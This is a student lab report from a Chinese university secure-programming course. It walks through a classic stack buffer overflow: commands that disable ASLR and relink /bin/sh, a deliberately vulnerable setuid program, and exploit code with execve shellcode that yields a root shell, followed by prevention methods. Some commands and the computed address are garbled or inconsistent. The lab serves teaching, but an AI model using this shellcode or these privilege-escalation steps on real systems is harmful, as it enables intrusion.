北京电子科技学院(BESTI)
实验报告
课程:安全编程技术 班级: 1912 姓名:唐启恒 学号:20191218
成绩: 指导教师:万宗杰 实验日期及时间:2021.10.18
座位号: 必修/选修:选修 实验序号:一
实验名称:缓冲区溢出
一、实验目的与要求:
(一)实验目的
- 掌握缓冲区溢出的基本原理;
- 掌握预防缓冲区溢出的方法,并且在实际编程中严格遵循这些方法。
(二)实验要求: - 本实验一人一组,编程语言为C;
- 要求学生掌握缓冲区溢出的基本原理,并熟练掌握C语言编程;
- 要求学生能够编程实现一个简单的缓冲区溢出实例。
二、实验内容、步骤及结论:
(一)实验内容
- 理解缓冲区溢出的基本原理;
- 利用函数strcpy()编程实现一个简单的缓冲区溢出实例;
- 总结预防缓冲区溢出的方法。
(二)实验步骤
实验环境:Kali Debian 10.x 64,gcc
缓冲区溢出:缓冲区溢出是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。
C语言编程中,一些不作边界检查的字符串拷贝函数(如strcpy)容易造成缓冲区溢出。
攻击思路:如果给一个有效的地址覆盖原有返回地址,让函数返回时跳到攻击者设计好的代码处,执行攻击者设定好的程序,就是构造出一个有效地址,该地址处指令可以跳转去执行让计算机执行的代码(shellcode),就可以进行攻击。
本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。输入命令安装一些用于编译32位C程序的软件包:
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
中途速度较慢,尝试对虚拟机镜像换源
换阿里源后速度飞升
Debian、Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:
sudo sucd /bin
rm sh
ln -s zsh shexit
输入命令 linux32 进入32位linux环境
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。
这次实验攻击代码如下
include <stdio.h>int main(){
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
其汇编代码为:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
首先,新建tmp目录,并编写一个stack.c文件
/* stack.c /
/ This program has a buffer overflow vulnerability. // Our task is to exploit this vulnerability */#include <stdlib.h>#include <stdio.h>#include <string.h>
int bof(char *str){
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv){
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。编译该程序,并设置 SET-UID。命令如下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stackexit
其中,GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
这一步的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。
在 /tmp 目录下新建一个 exploit.c 文件
/* exploit.c // A program that creates a file containing code for launching shell*/#include <stdlib.h>#include <stdio.h>#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv){
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。
现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:
gdb stack
disass main
esp 中就是 str 的起始地址,所以我们在地址 0x56556205 处设置断点。
最后获得的这个 0xffffd440 就是 str 的地址。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xfffd440 + 0x64 = 0xffffd4a4
现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x94\xcf\xff\xff,注意顺序是反的(小端机)。
然后,编译 exploit.c 程序:
gcc -m32 -o exploit exploit.c
先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:
可见,通过攻击,获得了root 权限!
(三)实验结论
- 缓冲区溢出攻击是一种非常常见的信息安全攻击手段,在各种操作系统、应用软件中广泛存在。缓冲区溢出攻击的方式多种多样,比如对堆段进行攻击、对堆栈段进行攻击等。另外,缓冲区溢出攻击带来的危害严重,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
- 缓冲区溢出攻击的一般原理是通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。攻击者主要通过在程序的地址空间里安排适当的代码,让程序跳转到入侵者安排的地址空间执行来实现攻击。要实现更深程度的攻击,可以考虑覆盖某个子函数的返回地址,将覆盖后的结果指向准备好的攻击程序的地址,比如打开一个新的shell,对系统进行其他操作。
三、思考题
总结预防缓冲区溢出的方法:
①积极检查边界。由于C和C++允许任意的缓冲区溢出,没有任何的缓冲区溢出边界检测机制来进行限制,因此,一般情况下,所有开发者需要手动在自己的代码中添加边界检测机制。不过,也有一些优化的技术来减少手工检查的次数。如使用Richard Jones和Paul Kelly开发的gcc补丁、利用Compaq的C编译器等。
②不让攻击者执行缓冲区内的命令。这种方法使得攻击者即使在被攻击者的缓冲区中植入了执行代码之后,也无法执行被植入的代码。
③编写风格良好的代码。养成一个习惯,不要因为一味追求程序性能,而编写一些安全隐患较多的代码,特别是不要使用一些可能有漏洞的API,减少漏洞发生的可能。可以用一些查错工具,限制一些可能具有缓冲区溢出漏洞攻击的函数的调用(如strcpy和sprintf等)。
④程序指针检查。程序指针检查不同于边界检查,程序指针检查是一旦修改了程序指针,就会被检测到,被改变的指针将不被使用。这样,即使一个攻击者成功地改变了程序的指针,因为系统事先检测到了指针的改变,这个指针将不会被使用,达不到攻击的目的。
4. 关于如何防范缓冲区溢出攻击,可以从以下几个方面来考虑:
对一些关键参数的输入作严格的检查,比如像上面实验中输入password的环节,对输入的password作出严格的字符数量限制,如果超过一定范围就会终止程序。
使用一些安全性良好的函数,比如strcpy,应当被更换为strncpy,同样的还有fgets、sscanf等,用它们来替换有缺陷的函数。
关注操作系统自身提供的一些保护机制,比如Linux系统的bash是自带栈溢出保护机制的,也保证了栈内地址随机化,同时没有特殊设置,栈内的代码也是不可执行的。像这样的保护机制应当合理使用。
对于程序中的指针也需要检查,如果程序中有函数指针一类的指针,要对附近的缓冲区做出严格保护,因为函数指针内容可能被溢出内容覆盖,从而执行攻击者希望调用的函数,实现攻击。
四、实验体会:
本次实验跟本学期的课设题目之一很相似,因此我得到了参与缓冲区溢出攻击课程设计的同学的不少帮助,同时借助自己上网查阅相关的博客,我也慢慢学会了缓冲区溢出的原理,并尝试自己在Ubuntu、Debian等系统上实现简单的缓冲区溢出攻击。
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
在本次实验中,我对缓冲区溢出的基本原理及预防方法有所掌握,同时,在实践中理解了老师PPT的各个实例,也了解到了缓冲区溢出攻击的危害。缓冲区溢出是指当计算机向缓冲区内填充数据时超过了缓冲区本身的容量溢出;某些情况下,溢出的数据只是覆盖在一些不太重要的内存空间上,不会产生严重后果;但是一旦溢出的数据覆盖在合法数据上,可能给系统带来巨大的危害。
所以,我们要编写风格良好的代码,积极检查边界,不让攻击者执行缓冲区内的命令,利用程序指针检查。